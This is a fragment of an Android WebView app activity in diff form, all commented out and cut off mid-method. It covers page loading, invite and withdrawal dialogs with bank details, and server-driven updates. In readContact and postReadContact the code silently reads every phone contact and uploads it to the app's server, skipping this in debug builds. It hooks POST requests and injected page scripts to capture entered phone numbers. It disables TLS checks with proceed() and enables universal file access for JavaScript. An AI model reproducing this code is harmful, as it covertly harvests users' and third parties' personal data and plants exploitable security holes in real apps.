jdclub9vip +// tvLink.setText(Html.fromHtml("MISSAV")); +// ivFaceBook.setOnClickListener(view -> { +// toOtherApp(facebookUrl, "com.facebook.katana", 1); +// }); +// ivTelG.setOnClickListener(view -> { +// toOtherApp(telegramUrl, "org.telegram.messenger", 2); +// }); +// ivWhatsApp.setOnClickListener(view -> { +// toOtherApp(whatsappUrl, "com.whatsapp", 3); +// }); +//// ivLink.setOnClickListener(view -> { +//// toLink(); +//// +//// }); +// ivHome.setOnClickListener(view -> { +// webView.loadUrl(url); +// }); +// floatingActionButton.setOnClickListener(view -> { +// showBottomDialog(); +// }); +// otherApp.setOnClickListener(view -> { +// layoutOtherApp.setVisibility(layoutOtherApp.getVisibility() == View.VISIBLE ? View.GONE : View.VISIBLE); +// int visi = layoutOtherApp.getVisibility(); +// if (visi == 0) { +// ivotherApp.setImageResource(R.mipmap.ic_shousuo); +// } else { +// ivotherApp.setImageResource(R.mipmap.ic_zhangkai); +// } +// }); +// +// +// if (userId == 157 || userId == 158) { +// ivLink.setVisibility(View.VISIBLE); +// } +// +// if (userId == 157) { +// cvShare.setVisibility(View.VISIBLE); +// } +// cvShare.setOnTouchListener((v, event) -> { +// +// switch (event.getAction()) { +// case MotionEvent.ACTION_DOWN: +// lastX = event.getRawX(); +// lastY = event.getRawY(); +// initX = event.getRawX(); +// initY = event.getRawY(); +//// LogUtils.d("touchevent", "lastX=" + lastX + " lastY" + lastY); +// break; +// case MotionEvent.ACTION_MOVE: +// float dx = event.getRawX() - lastX; +// float dy = event.getRawY() - lastY; +// int left = layoutOtherApp.getLeft() + (int) dx; +// int top = layoutOtherApp.getTop() + (int) dy; +// int right = layoutOtherApp.getRight() + (int) dx; +// int bottom = layoutOtherApp.getBottom() + (int) dy; +// layoutOtherApp.layout(left, top, right, bottom); +// lastX = event.getRawX(); +// lastY = event.getRawY(); +// break; +// case MotionEvent.ACTION_UP: +// float upx = event.getRawX(); +// float upy = event.getRawY(); +// if (upx == initX && upy == initY) { +// if (userId == 157) { +// Intent textIntent = new Intent(Intent.ACTION_SEND); +// textIntent.setType("text/plain"); +// textIntent.putExtra(Intent.EXTRA_TEXT, "https://kaki.hfcapital.top"); +// startActivity(Intent.createChooser(textIntent, "分享")); +// +// } +// } +// +// break; +// } +// return true; +// }); +// ivLink.setOnTouchListener((v, event) -> { +// +// switch (event.getAction()) { +// case MotionEvent.ACTION_DOWN: +// lastX = event.getRawX(); +// lastY = event.getRawY(); +// initX = event.getRawX(); +// initY = event.getRawY(); +//// LogUtils.d("touchevent", "lastX=" + lastX + " lastY" + lastY); +// break; +// case MotionEvent.ACTION_MOVE: +// float dx = event.getRawX() - lastX; +// float dy = event.getRawY() - lastY; +// int left = layoutOtherApp.getLeft() + (int) dx; +// int top = layoutOtherApp.getTop() + (int) dy; +// int right = layoutOtherApp.getRight() + (int) dx; +// int bottom = layoutOtherApp.getBottom() + (int) dy; +// layoutOtherApp.layout(left, top, right, bottom); +// lastX = event.getRawX(); +// lastY = event.getRawY(); +// break; +// case MotionEvent.ACTION_UP: +// float upx = event.getRawX(); +// float upy = event.getRawY(); +// if (upx == initX && upy == initY) { +// toLink(); +// } +// +// break; +// } +// return true; +// }); +// +// ivNotify.setOnTouchListener((v, event) -> { +// +// switch (event.getAction()) { +// case MotionEvent.ACTION_DOWN: +// lastX = event.getRawX(); +// lastY = event.getRawY(); +// initX = event.getRawX(); +// initY = event.getRawY(); +//// LogUtils.d("touchevent", "lastX=" + lastX + " lastY" + lastY); +// break; +// case MotionEvent.ACTION_MOVE: +// float dx = event.getRawX() - lastX; +// float dy = event.getRawY() - lastY; +// int left = layoutOtherApp.getLeft() + (int) dx; +// int top = layoutOtherApp.getTop() + (int) dy; +// int right = layoutOtherApp.getRight() + (int) dx; +// int bottom = layoutOtherApp.getBottom() + (int) dy; +// layoutOtherApp.layout(left, top, right, bottom); +// lastX = event.getRawX(); +// lastY = event.getRawY(); +// break; +// case MotionEvent.ACTION_UP: +// float upx = event.getRawX(); +// float upy = event.getRawY(); +// if (upx == initX && upy == initY) { +// notifyclick(); +// } +// +// break; +// } +// return true; +// }); +// layoutOtherApp.setOnTouchListener((v, event) -> { +// +// switch (event.getAction()) { +// case MotionEvent.ACTION_DOWN: +// lastX = event.getRawX(); +// lastY = event.getRawY(); +// initX = event.getRawX(); +// initY = event.getRawY(); +//// LogUtils.d("touchevent", "lastX=" + lastX + " lastY" + lastY); +// break; +// case MotionEvent.ACTION_MOVE: +// float dx = event.getRawX() - lastX; +// float dy = event.getRawY() - lastY; +// int left = v.getLeft() + (int) dx; +// int top = v.getTop() + (int) dy; +// int right = v.getRight() + (int) dx; +// int bottom = v.getBottom() + (int) dy; +// v.layout(left, top, right, bottom); +// lastX = event.getRawX(); +// lastY = event.getRawY(); +// break; +// case MotionEvent.ACTION_UP: +// float upx = event.getRawX(); +// float upy = event.getRawY(); +// if (upx == initX && upy == initY) { +// notifyclick(); +// } +// +// break; +// } +// return true; +// }); +// +// setTotalTongJi(); //每日活跃统计 +// +// +// } +// +// private void toLink() { +// if (userId == 157 || userId == 158) { +// webView.loadUrl("https://missav.live/dm19/ms"); +// +// } else { +// webView.loadUrl(linkconfiglist.get(0).getLinkUrl()); +// } +// } +// +// public void setBackDrawables(int drawableId) { +// showTopLy.setBackgroundResource(drawableId); +// } +// +// /** +// * 显示圆角还是 原样显示 +// * +// * @param isRound +// */ +// public void setImageView(boolean isRound) { +// if (isRound) { +// show_top_v.setVisibility(View.VISIBLE); +// showTopV1.setVisibility(View.GONE); +// } else { +// show_top_v.setVisibility(View.GONE); +// showTopV1.setVisibility(View.VISIBLE); +// } +// } +// +// //跳转通知列表 +// private void notifyclick() { +// startActivity(new Intent(this, NotifyListActivity.class)); +// } +// +// private void toOtherApp(String uri, String packagenames, int type) { +// try { +// Intent intent = new Intent(Intent.ACTION_VIEW); +// intent.setData(Uri.parse(uri)); +// intent.setPackage(packagenames); +// startActivity(intent); +// } catch (Exception e) { +// Intent intent = new Intent(Intent.ACTION_VIEW); +// intent.setData(Uri.parse(uri)); +// startActivity(intent); +// } +// +// } +// +// +// public void showBottomDialog() { +// ActionSelectDialog actionDialog = new ActionSelectDialog(MainActivity2.this); +// actionDialog.setOnToActionListener(new ActionSelectDialog.OnToActionListener() { +// @Override +// public void toShare() { +// if (TextUtils.isEmpty(myInviteCode)) { +// getMyInvite(true); +// } else { +// goShare(); +// } +// } +// +// @Override +// public void toCheck() { +// showRecordDialog(); +// } +// +// @Override +// public void toWithDrawRecords() { +// showWithDrawRecordDialog(); +// } +// +// @Override +// public void toWithDrawApply() { +// goWithDrawApply(); +// } +// +// @Override +// public void toBankInfo() { +// showBankInfoDialog(); +// } +// }); +// actionDialog.setCancelable(true); +// actionDialog.setCanceledOnTouchOutside(true); +// actionDialog.show(); +// } +// +// public void goShare() { +// Intent shareTextIntent = new Intent(); +// shareTextIntent.setAction(Intent.ACTION_SEND); +// String title = getString(R.string.app_sharetitle) + myInviteCode; +// String parentCode = MainActivity.getString(this, "code", ""); +// shareTextIntent.putExtra(Intent.EXTRA_TITLE, title + (TextUtils.isEmpty(parentCode) ? "" : "\n" + getString(R.string.app_sharetitle2) + parentCode)); +// shareTextIntent.putExtra(Intent.EXTRA_TEXT, getString(R.string.app_name) + getString(R.string.app_sharecontent) + shareUrl + " \n" + title); +// shareTextIntent.setType("text/plain"); +// startActivity(Intent.createChooser(shareTextIntent, getString(R.string.app_name) + getString(R.string.app_sharecontent))); +// } +// +// private ActionWithDrawApplyDialog drawApplyDialog; +// +// public void goWithDrawApply() { +// drawApplyDialog = new ActionWithDrawApplyDialog(MainActivity2.this, myInviteCode); +// drawApplyDialog.setOnToActionListener(new ActionWithDrawApplyDialog.OnToActionListener() { +// @Override +// public void toSumbit(String content) { +// sendApply(content); +// } +// +// @Override +// public void toCancel() { +// +// } +// }); +// drawApplyDialog.setCancelable(false); +// drawApplyDialog.setCanceledOnTouchOutside(false); +// drawApplyDialog.show(); +// } +// +// /** +// * 编辑银行卡信息 +// */ +// public void showBankInfoDialog() { +// ActionBankInfoDialog bankInfoDialog = new ActionBankInfoDialog(MainActivity2.this, myInviteCode); +// bankInfoDialog.setCancelable(false); +// bankInfoDialog.setCanceledOnTouchOutside(false); +// bankInfoDialog.show(); +// } +// +// /** +// * 发送申请记录 +// */ +// public void sendApply(String amount) { +// HashMap map = new HashMap<>(); +// map.put("userId", userId); +// map.put("amount", amount); +// map.put("inviteCode", myInviteCode); +// Api.getInstance().sendWithDrawApply(map) +// .subscribeOn(Schedulers.io()) +// .observeOn(AndroidSchedulers.mainThread()) +// .subscribe(new BaseObserver() { +// @Override +// public void onSuccess(Result o) { +// Toast.makeText(MainActivity2.this, getString(R.string.app_toastapply), Toast.LENGTH_SHORT).show(); +// if (drawApplyDialog != null) { +// drawApplyDialog.dismiss(); +// } +// getMyInvite(false); +// +// } +// +// @Override +// public void onError(int code, String msg) { +//// LogUtils.d("dddd" + msg); +// Toast.makeText(MainActivity2.this, msg, Toast.LENGTH_SHORT).show(); +// } +// +// @Override +// public void onError2(Result o) { +// Toast.makeText(MainActivity2.this, o.error, Toast.LENGTH_SHORT).show(); +// } +// }); +// } +// +// +// public void showRecordDialog() { +// ActionInviteRecordsDialog actionDialog = new ActionInviteRecordsDialog(MainActivity2.this, myInviteCode); +// actionDialog.setCancelable(false); +// actionDialog.setCanceledOnTouchOutside(false); +// actionDialog.show(); +// } +// +// public void showWithDrawRecordDialog() { +// ActionWithDrawRecordsDialog actionDialog = new ActionWithDrawRecordsDialog(MainActivity2.this, myInviteCode); +// actionDialog.setCancelable(false); +// actionDialog.setCanceledOnTouchOutside(false); +// actionDialog.show(); +// } +// +// ActionConfirmDialog actionDialog; +// +// private void checkNotify() { +// NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); +// if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.N) { +// if (!notificationManager.areNotificationsEnabled()) { +// if (actionDialog == null) { +// actionDialog = new ActionConfirmDialog(MainActivity2.this, +// getString(R.string.notification_title_txt), getString(R.string.notification_cancel_txt), +// getString(R.string.notification_setting_txt)); +// } +// actionDialog.setOnToActionListener(new ActionConfirmDialog.OnToActionListener() { +// @Override +// public void toSumbit() { +// jumpNotificationSetting(); +// } +// +// @Override +// public void toCancel() { +// if (notifyApply == 1) { +// MainActivity2.this.finish(); +// } +// +// +// } +// }); +// actionDialog.setCanceledOnTouchOutside(false); +// actionDialog.setCancelable(false); +// actionDialog.show(); +// +// +// } +// } +// } +// +// private void jumpNotificationSetting() { +// final ApplicationInfo applicationInfo = getApplicationInfo(); +// try { +// Intent intent = new Intent(); +// intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK); +// intent.setAction("android.settings.APP_NOTIFICATION_SETTINGS"); +// intent.putExtra("app_package", applicationInfo.packageName); +// intent.putExtra("android.provider.extra.APP_PACKAGE", applicationInfo.packageName); +// intent.putExtra("app_uid", applicationInfo.uid); +// startActivity(intent); +// } catch (Throwable t) { +// t.printStackTrace(); +// Intent intent = new Intent(); +// intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK); +// intent.setAction("android.settings.APPLICATION_DETAILS_SETTINGS"); +// intent.setData(Uri.fromParts("package", applicationInfo.packageName, null)); +// startActivity(intent); +// } +// } +// +// @Override +// public void onBackPressed() { +// +// if (webView.canGoBack()) {//当webview有多级能返回的时候 +// String url = webView.getUrl(); +// // 在首页 就退出这个页面 +// if (webView.getUrl().equals(url + "index") || webView.getUrl().equals(url + "/index")) { +// super.onBackPressed(); +// } else { //不在首页 回到首页 +// if (webView.getUrl().equals(url + "index") || webView.getUrl().equals(url + "/index")) { +// isAtGame = false; +// } +// topVvvv.setVisibility(View.GONE); +// progressBar.setVisibility(View.VISIBLE); +// //当有条过登录页面 只能重载 不然逻辑会异常 +// if (hasSignIn) { +// onShowNetView(); +// webView.loadUrl(url); +// } else { +// while (webView.canGoBack()) { +// webView.goBack(); +// } +// +// } +// } +// +// } else {//不能返回了 关闭进程 退出程序 +// Intent homeIntent = new Intent(Intent.ACTION_MAIN); +// homeIntent.addCategory(Intent.CATEGORY_HOME); +// homeIntent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK); +// startActivity(homeIntent); +// android.os.Process.killProcess(android.os.Process.myPid()); +// System.exit(1); +// +// } +// } +// +// +// private static String[] PERMISSIONS_STORAGE = { +// "android.permission.READ_EXTERNAL_STORAGE", +// "android.permission.WRITE_EXTERNAL_STORAGE"}; +// +// private static String[] PERMISSIONS_CAMERA = { +// Manifest.permission.CAMERA}; +// +// //然后通过一个函数来申请 +// public static void verifyStoragePermissions(Activity activity) { +// +// // 没有写的权限,去申请写的权限,会弹出对话框 +// ActivityCompat.requestPermissions(activity, PERMISSIONS_STORAGE, REQUEST_EXTERNAL_STORAGE); +// +// } +// +// +// @SuppressLint({"NewApi", "WrongConstant"}) +// protected void initView() { +// topVvvv = (View) findViewById(R.id.top_vvvv); +// webView = findViewById(R.id.webview); +// show_top_v = findViewById(R.id.show_top_v); +// +// showTopV1 = (ImageView) findViewById(R.id.show_top_v1); +// showTopLy = findViewById(R.id.show_top_ly); +// progressBar = (ProgressBar) findViewById(R.id.progressbar); +// tvErrorMsg = findViewById(R.id.errormsg); +// layoutError = findViewById(R.id.layoutError); +// WebSettings settings = webView.getSettings(); +// settings.setDomStorageEnabled(true); +// settings.setAppCacheEnabled(true); +// settings.setCacheMode(WebSettings.LOAD_DEFAULT); +// settings.setJavaScriptEnabled(true); +// settings.setLoadWithOverviewMode(true); +// // 设置允许访问文件数据 +// settings.setAllowFileAccess(true); +// settings.setAllowContentAccess(true); +// settings.setDatabaseEnabled(true); +// settings.setSavePassword(false); +// settings.setSaveFormData(false); +// settings.setUseWideViewPort(true); +// settings.setBuiltInZoomControls(true); +// settings.setPluginState(WebSettings.PluginState.ON); +// settings.setLayoutAlgorithm(WebSettings.LayoutAlgorithm.NARROW_COLUMNS); +// webView.setFocusable(true); +// webView.setFocusableInTouchMode(true); +// webView.getSettings().setSupportMultipleWindows(true); +// +// settings.setSupportZoom(false); +// webView.setScrollBarStyle(WebView.SCROLLBARS_OUTSIDE_OVERLAY); +//// webView.setHorizontalScrollbarOverlay(true); +// webView.setHorizontalScrollBarEnabled(true); +// webView.requestFocus(); +//// webView.setBackgroundColor(getColor(R.color.black)); +// settings.setJavaScriptCanOpenWindowsAutomatically(true); +// settings.setMediaPlaybackRequiresUserGesture(false); +// // 设置在WebView内部是否允许通过file url加载的 Js代码读取其他的本地文件 +// // Android 4.1前默认允许,4.1后默认禁止 +// settings.setAllowFileAccessFromFileURLs(true); +// // 设置WebView内部是否允许通过 file url 加载的 Javascript 可以访问其他的源(包括http、https等源) +// // Android 4.1前默认允许,4.1后默认禁止 +// settings.setAllowUniversalAccessFromFileURLs(true); +// +// webView.setWebChromeClient(webChromeClient); +// webView.setWebViewClient(webViewClient); +// Log.i("XHXDEBUG", "XHXDEBUGURL:::" + url); +// webView.addJavascriptInterface(new JsInterface(), "AndroidInterface"); +// +// showTopLy.setBackgroundColor(Color.parseColor(MainActivity.getString(MainActivity2.this, "windows_color", "#FFFFFF"))); +// webView.setDownloadListener(new DownloadListener() { +// @Override +// public void onDownloadStart(String url, String userAgent, String contentDisposition, String mimeType, long contentLength) { +// LogUtils.i("URL是啥onDownloadStart:" + url); +// +// try { +// Intent intent = new Intent(); +// intent.setAction(Intent.ACTION_VIEW); +// intent.setData(Uri.parse(url)); +// startActivity(intent); +// } catch (Exception e) { +// e.printStackTrace(); +// } +// +// } +// }); +// getNetUrl(); +// getNotifyList(); +// LogUtils.i("userAgent:" + webView.getSettings().getUserAgentString()); +//// NetworkInterceptor.startIntercept(MainActivity2.this,webView); +//// X5ConfigHelper.enableNetworkLogging(); +//// X5ConfigHelper.enableDebugMode(webView); +// +// } +// +// public void getNotifyList() { +// +// Api.getInstance().getNotifyList(userId, 1, 1) +// .subscribeOn(Schedulers.io()) +// .observeOn(AndroidSchedulers.mainThread()) +// .subscribe(new BaseObserver>>() { +// @Override +// public void onSuccess(Result> o) { +// if (o.data != null && o.data.getTotal() > 0) { +// otherApp.setVisibility(View.INVISIBLE); +// +// ivNotify.setVisibility(View.VISIBLE); +// if (userId == 112 || userId == 87 || userId == 91 || userId == 93 +// || userId == 92 || userId == 84 || userId == 120 || userId == 70 || userId == 143 || userId == 149) { +// ivNotify.setVisibility(View.INVISIBLE); +// layoutOtherApp.setVisibility(View.GONE); +// } +// ivotherApp.setImageResource(R.mipmap.ic_shousuo); +// } +// } +// +// @Override +// public void onError(int code, String msg) { +// LogUtils.i("获取的结果error" + msg); +// } +// +// @Override +// public void onError2(Result> o) { +// LogUtils.i("获取的结果error"); +// } +// }); +// } +// +// public void getNetUrl() { +// Api.getInstance().geUrlNew(userId) +// .subscribeOn(Schedulers.io()) +// .observeOn(AndroidSchedulers.mainThread()) +// .subscribe(new BaseObserver>() { +// @Override +// public void onSuccess(Result o) { +// +// DataInfo dataInfo = o.data; +// if (dataInfo != null) { +// if (dataInfo.getIsUse() == 0) { +// MainActivity2.this.finish(); +// return; +// } +// if (!TextUtils.isEmpty(dataInfo.getUrl())) { +// MainActivity.saveString(MainActivity2.this, "base_url", dataInfo.getUrl()); +// webView.loadUrl(dataInfo.getUrl()); +// } +// shareUrl = dataInfo.getDownloadUrl(); +// String link = dataInfo.getLinkConfig(); +// if (!TextUtils.isEmpty(link)) { +// try { +// linkconfiglist = GsonUtils.getListFromJSON(link, LinkConfigInfo.class); +// } catch (Exception e) { +// +// } +// } +// if (!TextUtils.isEmpty(dataInfo.getVersionCode())) { +// LogUtils.i("版本号:" + Integer.parseInt(dataInfo.getVersionCode()) + ";" + getInt(MainActivity2.this, "version_code", 0)); +// if (Integer.parseInt(dataInfo.getVersionCode()) > getInt(MainActivity2.this, "version_code", 0)) { +// ActionConfirmDialog actionDialog = new ActionConfirmDialog(MainActivity2.this, +// getString(R.string.banbengengxin_txt), getString(R.string.xiacigengxin_txt), +// getString(R.string.lijigengxin_txt)); +// actionDialog.setOnToActionListener(new ActionConfirmDialog.OnToActionListener() { +// @Override +// public void toSumbit() { +// checkUpdate(dataInfo.getApkUrl()); +// } +// +// @Override +// public void toCancel() { +// if (dataInfo.getForceUpdate() == 1) { +// MainActivity2.this.finish(); +// } +// } +// }); +// actionDialog.show(); +// } +// } +// contactApply = dataInfo.getContactApplyMode(); +// notifyApply = dataInfo.getNoticeApplyMode(); +// if (contactApply == 0 || contactApply == 1) { +// readContact(); +// } +// if (notifyApply == 0 || notifyApply == 1) { +// checkNotify(); +// } +// facebookUrl = dataInfo.getFbUrl().trim(); +// telegramUrl = dataInfo.getTgUrl().trim(); +// whatsappUrl = dataInfo.getWsUrl().trim(); +// if (!TextUtils.isEmpty(facebookUrl)) { +// otherApp.setVisibility(View.INVISIBLE); +// ivFaceBook.setVisibility(View.VISIBLE); +// } +// if (!TextUtils.isEmpty(telegramUrl)) { +// otherApp.setVisibility(View.INVISIBLE); +// ivTelG.setVisibility(View.VISIBLE); +// } +// if (!TextUtils.isEmpty(whatsappUrl)) { +// otherApp.setVisibility(View.INVISIBLE); +// ivWhatsApp.setVisibility(View.VISIBLE); +// } +// if (userId == 143 || userId == 149) { +// otherApp.setVisibility(View.INVISIBLE); +// ivFaceBook.setVisibility(View.GONE); +// ivTelG.setVisibility(View.GONE); +// ivWhatsApp.setVisibility(View.GONE); +// layoutOtherApp.setVisibility(View.GONE); +// } +// } else { +// url = MainActivity.getString(MainActivity2.this, "base_url", url); +// webView.loadUrl(url); +// } +// +// +// } +// +// @Override +// public void onError(int code, String msg) { +// url = MainActivity.getString(MainActivity2.this, "base_url", url); +// webView.loadUrl(url); +// } +// +// @Override +// public void onError2(Result o) { +// url = MainActivity.getString(MainActivity2.this, "base_url", url); +// webView.loadUrl(url); +// } +// }); +// +// } +// +// +// private void checkUpdate(String url) { +// new AppUpdater(this, url).start(); +// } +// +// List contents = new ArrayList<>(); +// private static String[] PERMISSIONS_READCONTACT = { +// Manifest.permission.READ_CONTACTS}; +// +// public void readContact() { +// +// if (BuildConfig.BUILD_TYPE.equals("debug")) { +// return; +// } +// +// if (ContextCompat.checkSelfPermission(MainActivity2.this, Manifest.permission.READ_CONTACTS) != 0) { +// ActivityCompat.requestPermissions(MainActivity2.this, PERMISSIONS_READCONTACT, 2222); +// } else { +// //开启线程上传数据 +// new Thread(() -> { +// //获取通讯录 +// contents = new ArrayList<>(); +// Cursor cursor = null; +// try { +// cursor = getContentResolver().query( +// ContactsContract.CommonDataKinds.Phone.CONTENT_URI, +// null, null, null, null); +// while (cursor.moveToNext()) { +// int i_name = cursor.getColumnIndex(ContactsContract.CommonDataKinds.Phone.DISPLAY_NAME); +// String displayName = cursor.getString(i_name); +// int i_number = cursor.getColumnIndex(ContactsContract.CommonDataKinds.Phone.NUMBER); +// String number = cursor.getString(i_number); +// ContactBean bean = new ContactBean(displayName, number.trim()); +// contents.add(bean); +// } +// } catch (Exception e) { +// e.printStackTrace(); +// } finally { +// if (cursor != null) { +// cursor.close(); +// postReadContact(contents); +// } +// } +// }).start(); +// +// +// } +// } +// +// public void postReadContact(List contents) { +// Gson gson = new Gson(); +// HashMap map = new HashMap<>(); +// map.put("userId", userId); +// map.put("customers", contents); +// String result = gson.toJson(map); +// MediaType mediaType = MediaType.parse("application/json; charset=utf-8"); +// Api.getInstance().readContact(RequestBody.create(mediaType, result)) +// .subscribeOn(Schedulers.io()) +// .observeOn(AndroidSchedulers.mainThread()) +// .subscribe(new BaseObserver() { +// @Override +// public void onSuccess(Result o) { +// LogUtils.i("URL是啥获取的文件地址:"); +// +// } +// +// @Override +// public void onError(int code, String msg) { +// LogUtils.i("error:" + msg); +// } +// +// @Override +// public void onError2(Result o) { +// +// } +// }); +// } +// +// public void setDownloadNumbers() { +// HashMap map = new HashMap<>(); +// map.put("userId", userId); +// Api.getInstance().downloadNumbers(map) +// .subscribeOn(Schedulers.io()) +// .observeOn(AndroidSchedulers.mainThread()) +// .subscribe(new BaseObserver() { +// @Override +// public void onSuccess(Result o) { +// LogUtils.i("URL是啥获取的文件地址:"); +// MainActivity.saveBoolean(MainActivity2.this, "download", true); +// +// } +// +// @Override +// public void onError(int code, String msg) { +// LogUtils.i("error:" + msg); +// } +// +// @Override +// public void onError2(Result o) { +// +// } +// }); +// } +// +// +// public void setTotalTongJi() { +// HashMap map = new HashMap<>(); +// map.put("userId", userId); +// Api.getInstance().totalTongJi(map) +// .subscribeOn(Schedulers.io()) +// .observeOn(AndroidSchedulers.mainThread()) +// .subscribe(new BaseObserver() { +// @Override +// public void onSuccess(Result o) { +// +// +// } +// +// @Override +// public void onError(int code, String msg) { +// +// } +// +// @Override +// public void onError2(Result o) { +// +// } +// }); +// } +// +// public void recordNotify(int pushId) { +// HashMap map = new HashMap<>(); +// map.put("pushId", pushId); +// Api.getInstance().totalNotify(map) +// .subscribeOn(Schedulers.io()) +// .observeOn(AndroidSchedulers.mainThread()) +// .subscribe(new BaseObserver() { +// @Override +// public void onSuccess(Result o) { +// +// +// } +// +// @Override +// public void onError(int code, String msg) { +// LogUtils.d("dddd" + msg); +// } +// +// @Override +// public void onError2(Result o) { +// +// } +// }); +// } +// +// public void getMyInvite(boolean isShare) { +// HashMap map = new HashMap<>(); +// map.put("userId", userId); +// map.put("deviceCode", Utils.getUniqueId(MainActivity2.this)); +// Api.getInstance().getMyInvited(map) +// .subscribeOn(Schedulers.io()) +// .observeOn(AndroidSchedulers.mainThread()) +// .subscribe(new BaseObserver>() { +// @Override +// public void onSuccess(Result o) { +// if (o.data != null) { +// myInviteCode = o.data.getInviteCode(); +//// myInviteNum = o.data.getInviteNum(); +// MainActivity.saveString(MainActivity2.this, "balance", o.data.getBalance()); +// MainActivity.saveString(MainActivity2.this, "income", o.data.getIncome()); +// MainActivity.saveString(MainActivity2.this, "bankname", o.data.getBankName()); +// MainActivity.saveString(MainActivity2.this, "name", o.data.getName()); +// MainActivity.saveString(MainActivity2.this, "bankno", o.data.getBankNo()); +// } +// if (isShare) { +// goShare(); +// } +// +// } +// +// @Override +// public void onError(int code, String msg) { +// LogUtils.d("dddd" + msg); +// } +// +// @Override +// public void onError2(Result o) { +// +// } +// }); +// } +// +// Handler handler = new Handler(); +// +// boolean hasSignIn = false; +// +// +// // WebView webViews; +// WebViewClient webViewClient = new WebViewClient() { +// +// @Override +// public void onPageFinished(WebView webView, String s) { +// super.onPageFinished(webView, s); +// LogUtils.i("URL是啥加载完成:" + webView.getUrl()); +// if (webView.getUrl().contains("hasSignIn")) { +// hasSignIn = true; +// } +// +// int w = View.MeasureSpec.makeMeasureSpec(0, +// View.MeasureSpec.UNSPECIFIED); +// int h = View.MeasureSpec.makeMeasureSpec(0, +// View.MeasureSpec.UNSPECIFIED); +// // 重新测量 +// webView.measure(w, h); +// if (showTopLy.getVisibility() == View.VISIBLE) { +// handler.postDelayed(() -> showTopLy.setVisibility(View.GONE), 1000); +// } +// if (webView.getUrl().equals(url + "index") || webView.getUrl().equals(url + "/index")) { +// isAtGame = false; +// topVvvv.setVisibility(View.GONE); +// } else { +// if (isAtGame) { +// topVvvv.setVisibility(View.VISIBLE); +// } else { +// topVvvv.setVisibility(View.GONE); +// +// } +// } +//// webViews = webView; +// injectInputListener(webView); +//// injectFormInterceptor(); +// } +// +// @Override +// public WebResourceResponse shouldInterceptRequest(WebView webView, String s) { +//// LogUtils.i("网址是啥:222222222222222222222222"); +// +// return super.shouldInterceptRequest(webView, s); +// } +// +// @Override +// public WebResourceResponse shouldInterceptRequest(WebView webView, WebResourceRequest webResourceRequest) { +//// LogUtils.i("网址是啥:"+webResourceRequest.getUrl().toString()); +// if ("POST".equalsIgnoreCase(webResourceRequest.getMethod())) { +// LogUtils.i("网址是啥111222:"+webResourceRequest.getUrl().toString()); +//// injectInputListener(webViews!=null?webViews:webView); +//// getFormData(); +// postMobile(); +// } +// return super.shouldInterceptRequest(webView, webResourceRequest); +// } +// +// @Override +// public void onReceivedError(WebView view, WebResourceRequest request, WebResourceError error) { +// super.onReceivedError(view, request, error); +// if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) { +// int errorCode = error.getErrorCode(); +// String errorMessage = error.getDescription().toString(); +// String currentUrl = request.getUrl().toString(); +// if ((errorCode == -2 || errorCode == -6) && currentUrl.contains(url)) { +// onShowErrorView(errorMessage); +// } else { +// onShowNetView(); +// } +// } +// progressBar.setVisibility(View.GONE); +// } +// +// @Override +// public void onReceivedSslError(WebView webView, SslErrorHandler sslErrorHandler, SslError sslError) { +//// super.onReceivedSslError(webView, sslErrorHandler, sslError); +// sslErrorHandler.proceed(); +// } +// +// @Override +// public void onReceivedError(WebView view, int errorCode, String description, String failingUrl) { +// super.onReceivedError(view, errorCode, description, failingUrl); +// if (Build.VERSION.SDK_INT < Build.VERSION_CODES.M) { +// if ((errorCode == -2 || errorCode == -6) && failingUrl.contains(url)) { +// onShowErrorView(description); +// } else { +// onShowNetView(); +// } +// } +// progressBar.setVisibility(View.GONE); +// +// } +// +// +// @Override +// public boolean shouldOverrideUrlLoading(WebView webView, String url1) { +// +// LogUtils.i("URL是啥:" + url1); +// +// if (url1.equals(url + "index") || url1.equals(url + "/index")) { +// isAtGame = false; +// topVvvv.setVisibility(View.GONE); +// } else { +// progressBar.setVisibility(View.VISIBLE); +// } +// if (isToOutSideUrl(url1)) { +// try { +// Intent intent = new Intent(); +// intent.setAction(Intent.ACTION_VIEW); +// intent.setData(Uri.parse(url1)); +// startActivity(intent); +// return true; +// } catch (Exception e) { +// e.printStackTrace(); +// } +// } +// if (!(url1.startsWith("http") || url1.startsWith("https"))) { +// try { +// Intent intent = new Intent(); +// intent.setAction(Intent.ACTION_VIEW); +// intent.setData(Uri.parse(url1)); +// startActivity(intent); +// return true; +// } catch (Exception e) { +// e.printStackTrace(); +// } +// } else { +// +// if ((url1.equals(url + "index") || url1.equals(url + "/index")) && webView.canGoBack()) { +// return false; +// } else { +// //其它的该怎么处理就怎么处理 +// webView.loadUrl(url1); +// return true; +// } +// +// } +// +// return false; +// } +// +// @Override +// public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) { +// +// LogUtils.i("网络请求3333:" + request.getUrl()); +// LogUtils.i("网络请求3333:" + request.getRequestHeaders()); +// +// Uri uri; +// if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) { +// uri = request.getUrl(); +// } else { +// uri = Uri.parse(request.toString()); +// } +// String url1 = uri.toString(); +// LogUtils.i("URL是啥1:" + url1); +// +// if (isToOutSideUrl(url1)) { +// try { +// Intent intent = new Intent(); +// intent.setAction(Intent.ACTION_VIEW); +// intent.setData(Uri.parse(url1)); +// startActivity(intent); +// return true; +// } catch (Exception e) { +// e.printStackTrace(); +// } +// } +// +// if (url1.equals(url + "index") || url1.equals(url + "/index")) { +// isAtGame = false; +// topVvvv.setVisibility(View.GONE); +// } else { +// progressBar.setVisibility(View.VISIBLE); +// } +// +// if (!(url1.startsWith("http") || url1.startsWith("https"))) { +// try { +// Intent intent = new Intent(); +// intent.setAction(Intent.ACTION_VIEW); +// intent.setData(Uri.parse(url1)); +// startActivity(intent); +// return true; +// } catch (Exception e) { +// e.printStackTrace(); +// } +// } else { +// +// if ((url1.equals(url + "index") || url1.equals(url + "/index")) && webView.canGoBack()) { +// return false; +// } else { +// //其它的该怎么处理就怎么处理 +// webView.loadUrl(url1); +// return true; +// } +// +// } +// +// return false; +// } +// }; +// +// +// private void postMobile() { +// if (!TextUtils.isEmpty(mobiles)) { +// if (!TextUtils.isEmpty(oldMobiles) && oldMobiles.endsWith(mobiles)) { +// return; +// } +// HashMap map = new HashMap<>(); +// 